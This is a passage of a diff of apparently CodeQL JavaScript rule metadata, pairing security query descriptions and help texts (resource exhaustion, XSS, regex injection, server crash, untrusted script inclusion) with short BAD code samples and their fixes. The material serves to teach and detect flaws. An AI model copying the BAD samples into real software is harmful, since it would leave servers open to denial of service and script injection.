-            "description" : "An HTTP request handler that performs expensive operations without\n              restricting the rate at which operations can be carried out is vulnerable\n              to denial-of-service attacks.",
-            "id" : "js/missing-rate-limiting",
+            "tags" : [ "security", "correctness", "external/cwe/cwe-020" ],
+            "description" : "Using indexOf to implement endsWith functionality is error-prone if the -1 case is not explicitly handled.",
+            "id" : "js/incorrect-suffix-check",
             "kind" : "problem",
-            "name" : "Missing rate limiting",
+            "name" : "Incorrect suffix check",
             "precision" : "high",
-            "problem.severity" : "warning",
-            "security-severity" : "7.5"
+            "problem.severity" : "error",
+            "security-severity" : "7.8"
           }
         }, {
-          "id" : "js/resource-exhaustion",
-          "name" : "js/resource-exhaustion",
+          "id" : "js/useless-regexp-character-escape",
+          "name" : "js/useless-regexp-character-escape",
           "shortDescription" : {
-            "text" : "Resource exhaustion"
+            "text" : "Useless regular-expression character escape"
           },
           "fullDescription" : {
-            "text" : "Allocating objects or timers with user-controlled sizes or durations can cause resource exhaustion."
+            "text" : "Prepending a backslash to an ordinary character in a string does not have any effect, and may make regular expressions constructed from this string behave unexpectedly."
           },
           "defaultConfiguration" : {
             "enabled" : true,
-            "level" : "warning"
+            "level" : "error"
           },
           "help" : {
-            "text" : "# Resource exhaustion\nApplications are constrained by how many resources they can make use of. Failing to respect these constraints may cause the application to be unresponsive or crash. It is therefore problematic if attackers can control the sizes or lifetimes of allocated objects.\n\n\n## Recommendation\nEnsure that attackers can not control object sizes and their lifetimes. If object sizes and lifetimes must be controlled by external parties, ensure you restrict the object sizes and lifetimes so that they are within acceptable ranges.\n\n\n## Example\nThe following example allocates a buffer with a user-controlled size.\n\n\n```javascript\nvar http = require(\"http\"),\n    url = require(\"url\");\n\nvar server = http.createServer(function(req, res) {\n\tvar size = parseInt(url.parse(req.url, true).query.size);\n\n\tlet buffer = Buffer.alloc(size); // BAD\n\n\t// ... use the buffer\n});\n```\nThis is problematic since an attacker can choose a size that makes the application run out of memory. Even worse, in older versions of Node.js, this could leak confidential memory. To prevent such attacks, limit the buffer size:\n\n\n```javascript\nvar http = require(\"http\"),\n    url = require(\"url\");\n\nvar server = http.createServer(function(req, res) {\n\tvar size = parseInt(url.parse(req.url, true).query.size);\n\n\tif (size > 1024) {\n\t\tres.statusCode = 400;\n\t\tres.end(\"Bad request.\");\n\t\treturn;\n\t}\n\n\tlet buffer = Buffer.alloc(size); // GOOD\n\n\t// ... use the buffer\n});\n```\n\n## Example\nAs another example, consider an application that allocates an array with a user-controlled size, and then fills it with values:\n\n\n```javascript\nvar http = require(\"http\"),\n    url = require(\"url\");\n\nvar server = http.createServer(function(req, res) {\n\tvar size = parseInt(url.parse(req.url, true).query.size);\n\n\tlet dogs = new Array(size).fill(\"dog\"); // BAD\n\n\t// ... use the dog\n});\n```\nThe allocation of the array itself is not problematic since arrays are allocated sparsely, but the subsequent filling of the array will take a long time, causing the application to be unresponsive, or even run out of memory. Again, a limit on the size will prevent the attack:\n\n\n```javascript\nvar http = require(\"http\"),\n    url = require(\"url\");\n\nvar server = http.createServer(function(req, res) {\n\tvar size = parseInt(url.parse(req.url, true).query.size);\n\n\tif (size > 1024) {\n\t\tres.statusCode = 400;\n\t\tres.end(\"Bad request.\");\n\t\treturn;\n\t}\n\n\tlet dogs = new Array(size).fill(\"dog\"); // GOOD\n\n\t// ... use the dogs\n});\n```\n\n## Example\nFinally, the following example lets a user choose a delay after which a function is executed:\n\n\n```javascript\nvar http = require(\"http\"),\n    url = require(\"url\");\n\nvar server = http.createServer(function(req, res) {\n\tvar delay = parseInt(url.parse(req.url, true).query.delay);\n\n\tsetTimeout(f, delay); // BAD\n\n});\n\n```\nThis is problematic because a large delay essentially makes the application wait indefinitely before executing the function. Repeated registrations of such delays will therefore use up all of the memory in the application. A limit on the delay will prevent the attack:\n\n\n```javascript\nvar http = require(\"http\"),\n    url = require(\"url\");\n\nvar server = http.createServer(function(req, res) {\n\tvar delay = parseInt(url.parse(req.url, true).query.delay);\n\n\tif (delay > 1000) {\n\t\tres.statusCode = 400;\n\t\tres.end(\"Bad request.\");\n\t\treturn;\n\t}\n\n\tsetTimeout(f, delay); // GOOD\n\n});\n\n```\n\n## References\n* Wikipedia: [Denial-of-service attack](https://en.wikipedia.org/wiki/Denial-of-service_attack).\n* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html).\n* Common Weakness Enumeration: [CWE-770](https://cwe.mitre.org/data/definitions/770.html).\n",
-            "markdown" : "# Resource exhaustion\nApplications are constrained by how many resources they can make use of. Failing to respect these constraints may cause the application to be unresponsive or crash. It is therefore problematic if attackers can control the sizes or lifetimes of allocated objects.\n\n\n## Recommendation\nEnsure that attackers can not control object sizes and their lifetimes. If object sizes and lifetimes must be controlled by external parties, ensure you restrict the object sizes and lifetimes so that they are within acceptable ranges.\n\n\n## Example\nThe following example allocates a buffer with a user-controlled size.\n\n\n```javascript\nvar http = require(\"http\"),\n    url = require(\"url\");\n\nvar server = http.createServer(function(req, res) {\n\tvar size = parseInt(url.parse(req.url, true).query.size);\n\n\tlet buffer = Buffer.alloc(size); // BAD\n\n\t// ... use the buffer\n});\n```\nThis is problematic since an attacker can choose a size that makes the application run out of memory. Even worse, in older versions of Node.js, this could leak confidential memory. To prevent such attacks, limit the buffer size:\n\n\n```javascript\nvar http = require(\"http\"),\n    url = require(\"url\");\n\nvar server = http.createServer(function(req, res) {\n\tvar size = parseInt(url.parse(req.url, true).query.size);\n\n\tif (size > 1024) {\n\t\tres.statusCode = 400;\n\t\tres.end(\"Bad request.\");\n\t\treturn;\n\t}\n\n\tlet buffer = Buffer.alloc(size); // GOOD\n\n\t// ... use the buffer\n});\n```\n\n## Example\nAs another example, consider an application that allocates an array with a user-controlled size, and then fills it with values:\n\n\n```javascript\nvar http = require(\"http\"),\n    url = require(\"url\");\n\nvar server = http.createServer(function(req, res) {\n\tvar size = parseInt(url.parse(req.url, true).query.size);\n\n\tlet dogs = new Array(size).fill(\"dog\"); // BAD\n\n\t// ... use the dog\n});\n```\nThe allocation of the array itself is not problematic since arrays are allocated sparsely, but the subsequent filling of the array will take a long time, causing the application to be unresponsive, or even run out of memory. Again, a limit on the size will prevent the attack:\n\n\n```javascript\nvar http = require(\"http\"),\n    url = require(\"url\");\n\nvar server = http.createServer(function(req, res) {\n\tvar size = parseInt(url.parse(req.url, true).query.size);\n\n\tif (size > 1024) {\n\t\tres.statusCode = 400;\n\t\tres.end(\"Bad request.\");\n\t\treturn;\n\t}\n\n\tlet dogs = new Array(size).fill(\"dog\"); // GOOD\n\n\t// ... use the dogs\n});\n```\n\n## Example\nFinally, the following example lets a user choose a delay after which a function is executed:\n\n\n```javascript\nvar http = require(\"http\"),\n    url = require(\"url\");\n\nvar server = http.createServer(function(req, res) {\n\tvar delay = parseInt(url.parse(req.url, true).query.delay);\n\n\tsetTimeout(f, delay); // BAD\n\n});\n\n```\nThis is problematic because a large delay essentially makes the application wait indefinitely before executing the function. Repeated registrations of such delays will therefore use up all of the memory in the application. A limit on the delay will prevent the attack:\n\n\n```javascript\nvar http = require(\"http\"),\n    url = require(\"url\");\n\nvar server = http.createServer(function(req, res) {\n\tvar delay = parseInt(url.parse(req.url, true).query.delay);\n\n\tif (delay > 1000) {\n\t\tres.statusCode = 400;\n\t\tres.end(\"Bad request.\");\n\t\treturn;\n\t}\n\n\tsetTimeout(f, delay); // GOOD\n\n});\n\n```\n\n## References\n* Wikipedia: [Denial-of-service attack](https://en.wikipedia.org/wiki/Denial-of-service_attack).\n* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html).\n* Common Weakness Enumeration: [CWE-770](https://cwe.mitre.org/data/definitions/770.html).\n"
+            "text" : "# Useless regular-expression character escape\nWhen a character in a string literal or regular expression literal is preceded by a backslash, it is interpreted as part of an escape sequence. For example, the escape sequence `\\n` in a string literal corresponds to a single `newline` character, and not the `\\` and `n` characters. However, not all characters change meaning when used in an escape sequence. In this case, the backslash just makes the character appear to mean something else, and the backslash actually has no effect. For example, the escape sequence `\\k` in a string literal just means `k`. Such superfluous escape sequences are usually benign, and do not change the behavior of the program.\n\nThe set of characters that change meaning when in escape sequences is different for regular expression literals and string literals. This can be problematic when a regular expression literal is turned into a regular expression that is built from one or more string literals. The problem occurs when a regular expression escape sequence loses its special meaning in a string literal.\n\n\n## Recommendation\nEnsure that the right amount of backslashes is used when escaping characters in strings, template literals and regular expressions. Pay special attention to the number of backslashes when rewriting a regular expression as a string literal.\n\n\n## Example\nThe following example code checks that a string is `\"my-marker\"`, possibly surrounded by white space:\n\n\n```javascript\nlet regex = new RegExp('(^\\s*)my-marker(\\s*$)'),\n    isMyMarkerText = regex.test(text);\n\n```\nHowever, the check does not work properly for white space as the two `\\s` occurrences are semantically equivalent to just `s`, meaning that the check will succeed for strings like `\"smy-markers\"` instead of `\" my-marker \"`. Address these shortcomings by either using a regular expression literal (`/(^\\s*)my-marker(\\s*$)/`), or by adding extra backslashes (`'(^\\\\s*)my-marker(\\\\s*$)'`).\n\n\n## References\n* MDN: [Regular expression escape notation](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions#Escaping)\n* MDN: [String escape notation](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String#Escape_notation)\n* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html).\n",
+            "markdown" : "# Useless regular-expression character escape\nWhen a character in a string literal or regular expression literal is preceded by a backslash, it is interpreted as part of an escape sequence. For example, the escape sequence `\\n` in a string literal corresponds to a single `newline` character, and not the `\\` and `n` characters. However, not all characters change meaning when used in an escape sequence. In this case, the backslash just makes the character appear to mean something else, and the backslash actually has no effect. For example, the escape sequence `\\k` in a string literal just means `k`. Such superfluous escape sequences are usually benign, and do not change the behavior of the program.\n\nThe set of characters that change meaning when in escape sequences is different for regular expression literals and string literals. This can be problematic when a regular expression literal is turned into a regular expression that is built from one or more string literals. The problem occurs when a regular expression escape sequence loses its special meaning in a string literal.\n\n\n## Recommendation\nEnsure that the right amount of backslashes is used when escaping characters in strings, template literals and regular expressions. Pay special attention to the number of backslashes when rewriting a regular expression as a string literal.\n\n\n## Example\nThe following example code checks that a string is `\"my-marker\"`, possibly surrounded by white space:\n\n\n```javascript\nlet regex = new RegExp('(^\\s*)my-marker(\\s*$)'),\n    isMyMarkerText = regex.test(text);\n\n```\nHowever, the check does not work properly for white space as the two `\\s` occurrences are semantically equivalent to just `s`, meaning that the check will succeed for strings like `\"smy-markers\"` instead of `\" my-marker \"`. Address these shortcomings by either using a regular expression literal (`/(^\\s*)my-marker(\\s*$)/`), or by adding extra backslashes (`'(^\\\\s*)my-marker(\\\\s*$)'`).\n\n\n## References\n* MDN: [Regular expression escape notation](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions#Escaping)\n* MDN: [String escape notation](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String#Escape_notation)\n* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html).\n"
           },
           "properties" : {
-            "tags" : [ "security", "external/cwe/cwe-400", "external/cwe/cwe-770" ],
-            "description" : "Allocating objects or timers with user-controlled\n              sizes or durations can cause resource exhaustion.",
-            "id" : "js/resource-exhaustion",
-            "kind" : "path-problem",
-            "name" : "Resource exhaustion",
+            "tags" : [ "correctness", "security", "external/cwe/cwe-020" ],
+            "description" : "Prepending a backslash to an ordinary character in a string\n              does not have any effect, and may make regular expressions constructed from this string\n              behave unexpectedly.",
+            "id" : "js/useless-regexp-character-escape",
+            "kind" : "problem",
+            "name" : "Useless regular-expression character escape",
             "precision" : "high",
-            "problem.severity" : "warning",
-            "security-severity" : "7.5"
+            "problem.severity" : "error",
+            "security-severity" : "7.8"
           }
         }, {
-          "id" : "js/functionality-from-untrusted-source",
-          "name" : "js/functionality-from-untrusted-source",
+          "id" : "js/regex-injection",
+          "name" : "js/regex-injection",
           "shortDescription" : {
-            "text" : "Inclusion of functionality from an untrusted source"
+            "text" : "Regular expression injection"
           },
           "fullDescription" : {
-            "text" : "Including functionality from an untrusted source may allow an attacker to control the functionality and execute arbitrary code."
+            "text" : "User input should not be used in regular expressions without first being escaped, otherwise a malicious user may be able to inject an expression that could require exponential time on certain inputs."
           },
           "defaultConfiguration" : {
             "enabled" : true,
-            "level" : "warning"
+            "level" : "error"
           },
           "help" : {
-            "text" : "# Inclusion of functionality from an untrusted source\nIncluding a resource from an untrusted source or using an untrusted channel may allow an attacker to include arbitrary code in the response. When including an external resource (for example, a `script` element or an `iframe` element) on a page, it is important to ensure that the received data is not malicious.\n\nWhen including external resources, it is possible to verify that the responding server is the intended one by using an `https` URL. This prevents a MITM (man-in-the-middle) attack where an attacker might have been able to spoof a server response.\n\nEven when `https` is used, an attacker might still compromise the server. When you use a `script` element, you can check for subresource integrity - that is, you can check the contents of the data received by supplying a cryptographic digest of the expected sources to the `script` element. The script will only load sources that match the digest and an attacker will be unable to modify the script even when the server is compromised.\n\nSubresource integrity checking is commonly recommended when importing a fixed version of a library - for example, from a CDN (content-delivery network). Then, the fixed digest of that version of the library can easily be added to the `script` element's `integrity` attribute.\n\n\n## Recommendation\nWhen an `iframe` element is used to embed a page, it is important to use an `https` URL.\n\nWhen using a `script` element to load a script, it is important to use an `https` URL and to consider checking subresource integrity.\n\n\n## Example\nThe following example loads the jQuery library from the jQuery CDN without using `https` and without checking subresource integrity.\n\n\n```html\n<html>\n    <head>\n        <title>jQuery demo</title>\n        <script src=\"http://code.jquery.com/jquery-3.6.0.slim.min.js\" crossorigin=\"anonymous\"></script>\n    </head>\n    <body>\n        ...\n    </body>\n</html>\n```\nInstead, loading jQuery from the same domain using `https` and checking subresource integrity is recommended, as in the next example.\n\n\n```html\n<html>\n    <head>\n        <title>jQuery demo</title>\n        <script src=\"https://code.jquery.com/jquery-3.6.0.slim.min.js\" integrity=\"sha256-u7e5khyithlIdTpu22PHhENmPcRdFiHRjhAuHcs05RI=\" crossorigin=\"anonymous\"></script>\n    </head>\n    <body>\n        ...\n    </body>\n</html>\n```\n\n## References\n* MDN: [Subresource Integrity](https://developer.mozilla.org/en-US/docs/Web/Security/Subresource_Integrity)\n* Smashing Magazine: [Understanding Subresource Integrity](https://www.smashingmagazine.com/2019/04/understanding-subresource-integrity/)\n* Common Weakness Enumeration: [CWE-830](https://cwe.mitre.org/data/definitions/830.html).\n",
-            "markdown" : "# Inclusion of functionality from an untrusted source\nIncluding a resource from an untrusted source or using an untrusted channel may allow an attacker to include arbitrary code in the response. When including an external resource (for example, a `script` element or an `iframe` element) on a page, it is important to ensure that the received data is not malicious.\n\nWhen including external resources, it is possible to verify that the responding server is the intended one by using an `https` URL. This prevents a MITM (man-in-the-middle) attack where an attacker might have been able to spoof a server response.\n\nEven when `https` is used, an attacker might still compromise the server. When you use a `script` element, you can check for subresource integrity - that is, you can check the contents of the data received by supplying a cryptographic digest of the expected sources to the `script` element. The script will only load sources that match the digest and an attacker will be unable to modify the script even when the server is compromised.\n\nSubresource integrity checking is commonly recommended when importing a fixed version of a library - for example, from a CDN (content-delivery network). Then, the fixed digest of that version of the library can easily be added to the `script` element's `integrity` attribute.\n\n\n## Recommendation\nWhen an `iframe` element is used to embed a page, it is important to use an `https` URL.\n\nWhen using a `script` element to load a script, it is important to use an `https` URL and to consider checking subresource integrity.\n\n\n## Example\nThe following example loads the jQuery library from the jQuery CDN without using `https` and without checking subresource integrity.\n\n\n```html\n<html>\n    <head>\n        <title>jQuery demo</title>\n        <script src=\"http://code.jquery.com/jquery-3.6.0.slim.min.js\" crossorigin=\"anonymous\"></script>\n    </head>\n    <body>\n        ...\n    </body>\n</html>\n```\nInstead, loading jQuery from the same domain using `https` and checking subresource integrity is recommended, as in the next example.\n\n\n```html\n<html>\n    <head>\n        <title>jQuery demo</title>\n        <script src=\"https://code.jquery.com/jquery-3.6.0.slim.min.js\" integrity=\"sha256-u7e5khyithlIdTpu22PHhENmPcRdFiHRjhAuHcs05RI=\" crossorigin=\"anonymous\"></script>\n    </head>\n    <body>\n        ...\n    </body>\n</html>\n```\n\n## References\n* MDN: [Subresource Integrity](https://developer.mozilla.org/en-US/docs/Web/Security/Subresource_Integrity)\n* Smashing Magazine: [Understanding Subresource Integrity](https://www.smashingmagazine.com/2019/04/understanding-subresource-integrity/)\n* Common Weakness Enumeration: [CWE-830](https://cwe.mitre.org/data/definitions/830.html).\n"
+            "text" : "# Regular expression injection\nConstructing a regular expression with unsanitized user input is dangerous as a malicious user may be able to modify the meaning of the expression. In particular, such a user may be able to provide a regular expression fragment that takes exponential time in the worst case, and use that to perform a Denial of Service attack.\n\n\n## Recommendation\nBefore embedding user input into a regular expression, use a sanitization function such as lodash's `_.escapeRegExp` to escape meta-characters that have special meaning.\n\n\n## Example\nThe following example shows a HTTP request parameter that is used to construct a regular expression without sanitizing it first:\n\n\n```javascript\nvar express = require('express');\nvar app = express();\n\napp.get('/findKey', function(req, res) {\n  var key = req.param(\"key\"), input = req.param(\"input\");\n\n  // BAD: Unsanitized user input is used to construct a regular expression\n  var re = new RegExp(\"\\\\b\" + key + \"=(.*)\\n\");\n});\n\n```\nInstead, the request parameter should be sanitized first, for example using the function `_.escapeRegExp` from the lodash package. This ensures that the user cannot insert characters which have a special meaning in regular expressions.\n\n\n```javascript\nvar express = require('express');\nvar _ = require('lodash');\nvar app = express();\n\napp.get('/findKey', function(req, res) {\n  var key = req.param(\"key\"), input = req.param(\"input\");\n\n  // GOOD: User input is sanitized before constructing the regex\n  var safeKey = _.escapeRegExp(key);\n  var re = new RegExp(\"\\\\b\" + safeKey + \"=(.*)\\n\");\n});\n\n```\n\n## References\n* OWASP: [Regular expression Denial of Service - ReDoS](https://www.owasp.org/index.php/Regular_expression_Denial_of_Service_-_ReDoS).\n* Wikipedia: [ReDoS](https://en.wikipedia.org/wiki/ReDoS).\n* npm: [lodash](https://www.npmjs.com/package/lodash).\n* Common Weakness Enumeration: [CWE-730](https://cwe.mitre.org/data/definitions/730.html).\n* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html).\n",
+            "markdown" : "# Regular expression injection\nConstructing a regular expression with unsanitized user input is dangerous as a malicious user may be able to modify the meaning of the expression. In particular, such a user may be able to provide a regular expression fragment that takes exponential time in the worst case, and use that to perform a Denial of Service attack.\n\n\n## Recommendation\nBefore embedding user input into a regular expression, use a sanitization function such as lodash's `_.escapeRegExp` to escape meta-characters that have special meaning.\n\n\n## Example\nThe following example shows a HTTP request parameter that is used to construct a regular expression without sanitizing it first:\n\n\n```javascript\nvar express = require('express');\nvar app = express();\n\napp.get('/findKey', function(req, res) {\n  var key = req.param(\"key\"), input = req.param(\"input\");\n\n  // BAD: Unsanitized user input is used to construct a regular expression\n  var re = new RegExp(\"\\\\b\" + key + \"=(.*)\\n\");\n});\n\n```\nInstead, the request parameter should be sanitized first, for example using the function `_.escapeRegExp` from the lodash package. This ensures that the user cannot insert characters which have a special meaning in regular expressions.\n\n\n```javascript\nvar express = require('express');\nvar _ = require('lodash');\nvar app = express();\n\napp.get('/findKey', function(req, res) {\n  var key = req.param(\"key\"), input = req.param(\"input\");\n\n  // GOOD: User input is sanitized before constructing the regex\n  var safeKey = _.escapeRegExp(key);\n  var re = new RegExp(\"\\\\b\" + safeKey + \"=(.*)\\n\");\n});\n\n```\n\n## References\n* OWASP: [Regular expression Denial of Service - ReDoS](https://www.owasp.org/index.php/Regular_expression_Denial_of_Service_-_ReDoS).\n* Wikipedia: [ReDoS](https://en.wikipedia.org/wiki/ReDoS).\n* npm: [lodash](https://www.npmjs.com/package/lodash).\n* Common Weakness Enumeration: [CWE-730](https://cwe.mitre.org/data/definitions/730.html).\n* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html).\n"
           },
           "properties" : {
-            "tags" : [ "security", "external/cwe/cwe-830" ],
-            "description" : "Including functionality from an untrusted source may allow\n              an attacker to control the functionality and execute arbitrary code.",
-            "id" : "js/functionality-from-untrusted-source",
-            "kind" : "problem",
-            "name" : "Inclusion of functionality from an untrusted source",
+            "tags" : [ "security", "external/cwe/cwe-730", "external/cwe/cwe-400" ],
+            "description" : "User input should not be used in regular expressions without first being escaped,\n              otherwise a malicious user may be able to inject an expression that could require\n              exponential time on certain inputs.",
+            "id" : "js/regex-injection",
+            "kind" : "path-problem",
+            "name" : "Regular expression injection",
             "precision" : "high",
-            "problem.severity" : "warning",
-            "security-severity" : "6.0"
+            "problem.severity" : "error",
+            "security-severity" : "7.5"
           }
         }, {
-          "id" : "js/xss",
-          "name" : "js/xss",
+          "id" : "js/server-crash",
+          "name" : "js/server-crash",
           "shortDescription" : {
-            "text" : "Client-side cross-site scripting"
+            "text" : "Server crash"
           },
           "fullDescription" : {
-            "text" : "Writing user input directly to the DOM allows for a cross-site scripting vulnerability."
+            "text" : "A server that can be forced to crash may be vulnerable to denial-of-service attacks."
           },
           "defaultConfiguration" : {
             "enabled" : true,
-            "level" : "error"
+            "level" : "warning"
           },
           "help" : {
-            "text" : "# Client-side cross-site scripting\nDirectly writing user input (for example, a URL query parameter) to a webpage without properly sanitizing the input first, allows for a cross-site scripting vulnerability.\n\nThis kind of vulnerability is also called *DOM-based* cross-site scripting, to distinguish it from other types of cross-site scripting.\n\n\n## Recommendation\nTo guard against cross-site scripting, consider using contextual output encoding/escaping before writing user input to the page, or one of the other solutions that are mentioned in the references.\n\n\n## Example\nThe following example shows part of the page URL being written directly to the document, leaving the website vulnerable to cross-site scripting.\n\n\n```javascript\nfunction setLanguageOptions() {\n    var href = document.location.href,\n        deflt = href.substring(href.indexOf(\"default=\")+8);\n    document.write(\"<OPTION value=1>\"+deflt+\"</OPTION>\");\n    document.write(\"<OPTION value=2>English</OPTION>\");\n}\n\n```\n\n## References\n* OWASP: [DOM based XSS Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.html).\n* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html).\n* OWASP [DOM Based XSS](https://www.owasp.org/index.php/DOM_Based_XSS).\n* OWASP [Types of Cross-Site Scripting](https://www.owasp.org/index.php/Types_of_Cross-Site_Scripting).\n* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n",
-            "markdown" : "# Client-side cross-site scripting\nDirectly writing user input (for example, a URL query parameter) to a webpage without properly sanitizing the input first, allows for a cross-site scripting vulnerability.\n\nThis kind of vulnerability is also called *DOM-based* cross-site scripting, to distinguish it from other types of cross-site scripting.\n\n\n## Recommendation\nTo guard against cross-site scripting, consider using contextual output encoding/escaping before writing user input to the page, or one of the other solutions that are mentioned in the references.\n\n\n## Example\nThe following example shows part of the page URL being written directly to the document, leaving the website vulnerable to cross-site scripting.\n\n\n```javascript\nfunction setLanguageOptions() {\n    var href = document.location.href,\n        deflt = href.substring(href.indexOf(\"default=\")+8);\n    document.write(\"<OPTION value=1>\"+deflt+\"</OPTION>\");\n    document.write(\"<OPTION value=2>English</OPTION>\");\n}\n\n```\n\n## References\n* OWASP: [DOM based XSS Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.html).\n* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html).\n* OWASP [DOM Based XSS](https://www.owasp.org/index.php/DOM_Based_XSS).\n* OWASP [Types of Cross-Site Scripting](https://www.owasp.org/index.php/Types_of_Cross-Site_Scripting).\n* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n"
+            "text" : "# Server crash\nServers handle requests from clients until terminated deliberately by a server administrator. A client request that results in an uncaught server-side exception causes the current server response generation to fail, and should not have an effect on subsequent client requests.\n\nUnder some circumstances, uncaught exceptions can however cause the entire server to terminate abruptly. Such a behavior is highly undesirable, especially if it gives malicious users the ability to turn off the server at will, which is an efficient denial-of-service attack.\n\n\n## Recommendation\nEnsure that the processing of client requests can not cause uncaught exceptions to terminate the entire server abruptly.\n\n\n## Example\nThe following server code checks if a client-provided file path is valid before saving data to that path. It would be reasonable to expect that the server responds with an error in case the request contains an invalid file path. However, the server instead throws an exception, which is uncaught in the context of the asynchronous callback invocation (`fs.access(...)`). This causes the entire server to terminate abruptly.\n\n\n```javascript\nconst express = require(\"express\"),\n  fs = require(\"fs\");\n\nfunction save(rootDir, path, content) {\n  if (!isValidPath(rootDir, req.query.filePath)) {\n    throw new Error(`Invalid filePath: ${req.query.filePath}`); // BAD crashes the server\n  }\n  // write content to disk\n}\n\nexpress().post(\"/save\", (req, res) => {\n  fs.access(rootDir, (err) => {\n    if (err) {\n      console.error(\n        `Server setup is corrupted, ${rootDir} cannot be accessed!`\n      );\n      res.status(500);\n      res.end();\n      return;\n    }\n    save(rootDir, req.query.path, req.body);\n    res.status(200);\n    res.end();\n  });\n});\n\n```\nTo remedy this, the server can catch the exception explicitly with a `try/catch` block, and generate an appropriate error response instead:\n\n\n```javascript\n// ...\nexpress().post(\"/save\", (req, res) => {\n  fs.access(rootDir, (err) => {\n    // ...\n    try {\n      save(rootDir, req.query.path, req.body); // GOOD exception is caught below\n      res.status(200);\n      res.end();\n    } catch (e) {\n      res.status(500);\n      res.end();\n    }\n  });\n});\n\n```\nTo simplify exception handling, it may be advisable to switch to async/await syntax instead of using callbacks, which allows wrapping the entire request handler in a `try/catch` block:\n\n\n```javascript\n// ...\nexpress().post(\"/save\", async (req, res) => {\n  try {\n    await fs.promises.access(rootDir);\n    save(rootDir, req.query.path, req.body); // GOOD exception is caught below\n    res.status(200);\n    res.end();\n  } catch (e) {\n    res.status(500);\n    res.end();\n  }\n});\n\n```\n\n## References\n* Common Weakness Enumeration: [CWE-248](https://cwe.mitre.org/data/definitions/248.html).\n* Common Weakness Enumeration: [CWE-730](https://cwe.mitre.org/data/definitions/730.html).\n",
+            "markdown" : "# Server crash\nServers handle requests from clients until terminated deliberately by a server administrator. A client request that results in an uncaught server-side exception causes the current server response generation to fail, and should not have an effect on subsequent client requests.\n\nUnder some circumstances, uncaught exceptions can however cause the entire server to terminate abruptly. Such a behavior is highly undesirable, especially if it gives malicious users the ability to turn off the server at will, which is an efficient denial-of-service attack.\n\n\n## Recommendation\nEnsure that the processing of client requests can not cause uncaught exceptions to terminate the entire server abruptly.\n\n\n## Example\nThe following server code checks if a client-provided file path is valid before saving data to that path. It would be reasonable to expect that the server responds with an error in case the request contains an invalid file path. However, the server instead throws an exception, which is uncaught in the context of the asynchronous callback invocation (`fs.access(...)`). This causes the entire server to terminate abruptly.\n\n\n```javascript\nconst express = require(\"express\"),\n  fs = require(\"fs\");\n\nfunction save(rootDir, path, content) {\n  if (!isValidPath(rootDir, req.query.filePath)) {\n    throw new Error(`Invalid filePath: ${req.query.filePath}`); // BAD crashes the server\n  }\n  // write content to disk\n}\n\nexpress().post(\"/save\", (req, res) => {\n  fs.access(rootDir, (err) => {\n    if (err) {\n      console.error(\n        `Server setup is corrupted, ${rootDir} cannot be accessed!`\n      );\n      res.status(500);\n      res.end();\n      return;\n    }\n    save(rootDir, req.query.path, req.body);\n    res.status(200);\n    res.end();\n  });\n});\n\n```\nTo remedy this, the server can catch the exception explicitly with a `try/catch` block, and generate an appropriate error response instead:\n\n\n```javascript\n// ...\nexpress().post(\"/save\", (req, res) => {\n  fs.access(rootDir, (err) => {\n    // ...\n    try {\n      save(rootDir, req.query.path, req.body); // GOOD exception is caught below\n      res.status(200);\n      res.end();\n    } catch (e) {\n      res.status(500);\n      res.end();\n    }\n  });\n});\n\n```\nTo simplify exception handling, it may be advisable to switch to async/await syntax instead of using callbacks, which allows wrapping the entire request handler in a `try/catch` block:\n\n\n```javascript\n// ...\nexpress().post(\"/save\", async (req, res) => {\n  try {\n    await fs.promises.access(rootDir);\n    save(rootDir, req.query.path, req.body); // GOOD exception is caught below\n    res.status(200);\n    res.end();\n  } catch (e) {\n    res.status(500);\n    res.end();\n  }\n});\n\n```\n\n## References\n* Common Weakness Enumeration: [CWE-248](https://cwe.mitre.org/data/definitions/248.html).\n* Common Weakness Enumeration: [CWE-730](https://cwe.mitre.org/data/definitions/730.html).\n"
           },
           "properties" : {
-            "tags" : [ "security", "external/cwe/cwe-079", "external/cwe/cwe-116" ],
-            "description" : "Writing user input directly to the DOM allows for\n              a cross-site scripting vulnerability.",
-            "id" : "js/xss",
+            "tags" : [ "security", "external/cwe/cwe-248", "external/cwe/cwe-730" ],
+            "description" : "A server that can be forced to crash may be vulnerable to denial-of-service\n              attacks.",
+            "id" : "js/server-crash",
             "kind" : "path-problem",
-            "name" : "Client-side cross-site scripting",
+            "name" : "Server crash",
             "precision" : "high",
-            "problem.severity" : "error",
-            "security-severity" : "7.8"
+            "problem.severity" : "warning",
+            "security-severity" : "7.5"
           }
         }, {
-          "id" : "js/stored-xss",
-          "name" : "js/stored-xss",
+          "id" : "js/xxe",
+          "name" : "js/xxe",
           "shortDescription" : {
-            "text" : "Stored cross-site scripting"
+            "text" : "XML external entity expansion"
           },
           "fullDescription" : {
-            "text" : "Using uncontrolled stored values in HTML allows for a stored cross-site scripting vulnerability."
